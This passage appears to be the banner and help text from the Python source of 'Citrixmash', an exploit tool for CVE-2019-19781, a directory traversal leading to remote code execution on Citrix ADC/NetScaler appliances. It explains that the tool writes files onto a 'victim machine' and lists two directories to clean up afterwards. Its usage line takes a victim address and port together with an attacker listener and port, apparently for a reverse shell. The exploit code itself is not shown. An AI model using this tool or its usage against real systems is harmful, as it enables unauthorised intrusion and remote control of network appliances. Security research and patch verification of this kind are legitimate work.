Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781  
Tool Written by: Rob Simon and Dave Kennedy  
Contributions: The TrustedSec Team   
Website: https://www.trustedsec.com  
INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/  
  
This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used  
to append files in an XML format to the victim machine. This in turn allows for remote code execution.  
  
Be sure to cleanup these two file locations:  
/var/tmp/netscaler/portal/templates/  
/netscaler/portal/templates/  
  
Usage:  
  
python citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\n''')
